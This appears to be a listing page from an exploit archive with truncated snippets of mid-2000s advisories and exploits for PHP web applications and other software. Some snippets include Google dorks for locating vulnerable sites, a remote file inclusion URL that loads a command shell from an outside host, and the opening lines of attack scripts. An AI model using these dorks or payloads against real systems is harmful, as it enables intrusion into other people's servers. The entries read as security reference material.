ezusermanager.txt

Title : ezUserManager = v1.6 Remote File Inclusion - URL : http://www.ezusermanager.com/ - Dork : "powered by ezUserManager" - Author : OLiBekaS - contact : olibekasatgmail.com - greetz : Renzokuzen, Skulmatic, weleh, brokencode, bigmaster and all papmahackerlink crew - Exploit :...

x7chatphp.txt

!/usr/bin/php -q -d shortopentag=on works regardless of magicquotesgpc settings\r\n"; echo " if avatar uploads are enabled default\r\n"; echo "dork: intitle:"X7 Chat Help Center" | "Powered By X7 Chat"\r\n\r\n"; if $argc4 echo "Usage: php ".$argv0." host path cmd OPTIONS\r\n"; echo "host:...

TopList <= 1.3.8 (phpBB Hack) Remote File Inclusion Vulnerability

No description provided by source. Title: TopList Hack for PHPBB = 1.3.8 Remote File Inclusion URL: http://www.phpbb2hacks.de/toplist-df148.html Dork: inurl:"toplist.php" "powered by phpbb" Credits: Oo Exploit: /toplist.php?f=toplisttop10&phpbbrootpath=http://yourhost/cmd.gif?cmd=ls milw0rm.com...

MODx CMS 0.9.1 - index.php Directory Traversal

MODx CMS 0.9.1 - index.php Directory Traversal source: https://www.securityfocus.com/bid/17533/info MODxCMS is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this vulnerability to...

Mantis Bug Tracker 0.x/1.0 - 'view_all_set.php' Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/16657/info Mantis is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. Successful...

nodez.txt

Description: Nodez is a young, but strong, open source Content Manager. Nodez is designed to be as modular, stable and lightweight as possible version: Version 4.6.1.1 vendor: http://nodez.greentinted.com Vulnerability: cross site script sploit...

SugarSuite Open Source 4.0beta - Remote Code Execution (2)

/ gcc -o sugar sugar.c Usage ./sugar host /path/ site cmd Sugar Suite Open Source "; fclose$fp; ? ./sugar www.victim.com /CRM35/ http://othersite.com/file.txt ls%20-al HTTP/1.1 200 OK Date: Thu, 08 Dec 2005 12:35:33 GMT Server: Apache/1.3.27 Unix Red-Hat/Linux PHP/4.3.10 modperl/1.27 X-Powered-By...

ASP-Rider 1.6 - 'default.asp' SQL Injection

source: https://www.securityfocus.com/bid/15617/info ASP-Rider is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation could result in a compromise of the...

K-Search 1.0 - SQL Injection

source: https://www.securityfocus.com/bid/15588/info K-Search is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation could result in a compromise of the...

FTGate4 Groupware Mail Server 4.1 (imapd) Remote Buffer Overflow PoC

Exploit for unknown platform in category dos / poc ==================================================================== FTGate4 Groupware Mail Server 4.1 imapd Remote Buffer Overflow PoC ==================================================================== !/usr/bin/perl use IO::Socket; print...

Vulnerability in Authenticode Verification Could Allow Remote Code Execution (823182)

There is a vulnerability in Authenticode that, under certain low memory conditions, could allow an ActiveX control to download and install without presenting the user with an approval dialog. To exploit this vulnerability, an attacker could host a malicious Web Site designed to exploit this...

EasyGuppy 4.5.4/4.5.5 - 'Printfaq.php' Directory Traversal

source: https://www.securityfocus.com/bid/14984/info EasyGuppy is prone to a directory traversal vulnerability. The application fails to properly sanitize input supplied through HTTP POST requests or cookies. Exploitation of this vulnerability could lead to a loss of confidentiality as arbitrary...

NateOn Messenger 3.0 - Arbitrary File Download Buffer Overflow

NateOn Messenger 3.0 - Arbitrary File Download Buffer Overflow source: https://www.securityfocus.com/bid/14974/info NateOn Messenger is susceptible to an arbitrary file download vulnerability, and a buffer overflow vulnerability. These issues are present in the 'NateonDownloadManager.ocx' ActiveX...

CuteNews 1.4.0 - Shell Injection Remote Command Execution

CuteNews 1.4.0 - Shell Injection Remote Command Execution ?php cutenxpl.php CuteNews 1.4.0possibly prior versions remote code execution by rgod site: http://rgod.altervista.org usage: launch form Apache, fill in requested fields, then go! make these changes in php.ini if you have troubles with th...

Subscribe Me Pro 2.44 - S.pl Directory Traversal

source: https://www.securityfocus.com/bid/14817/info Subscribe Me Pro is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input. Exploitation of this vulnerability could lead to a loss of confidentiality as arbitrary files are disclosed t...

FlatNuke 2.5.6 - ID Directory Traversal

FlatNuke 2.5.6 - ID Directory Traversal source: https://www.securityfocus.com/bid/14702/info FlatNuke is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An unauthorized user can retrieve arbitrary files by...

Ventrilo 2.3.0 (All Platforms) - Remote Denial of Service

/ by Luigi Auriemma Windows compiled version: http://aluigi.altervista.org/poc/ventboom.zip /str0ke / include include include / Ventrilo UDP status algorithm 0.1 by Luigi Auriemma e-mail: [email protected] web: http://aluigi.altervista.org INTRODUCTION ============ This algorithm is the method...

Jax PHP Scripts 1.01.342.143.31 - dwt_editor.php Multiple Cross-Site Scripting Vulnerabilities

Jax PHP Scripts 1.01.342.143.31 - dwteditor.php Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/14481/info Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly...

ATutor 1.4.3 - '/inbox/index.php?view' Cross-Site Scripting

source: https://www.securityfocus.com/bid/13972/info ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage any of these issues to have arbitrary script code executed...

Adobe Acrobat 7.0 Adobe Reader 7.0 - File Existence File Disclosure

Adobe Acrobat 7.0 Adobe Reader 7.0 - File Existence File Disclosure source: https://www.securityfocus.com/bid/13962/info Adobe Acrobat and Adobe Reader may allow remote attackers to determine the existence of files on a vulnerable computer. This issue can be used to disclose data from a target fi...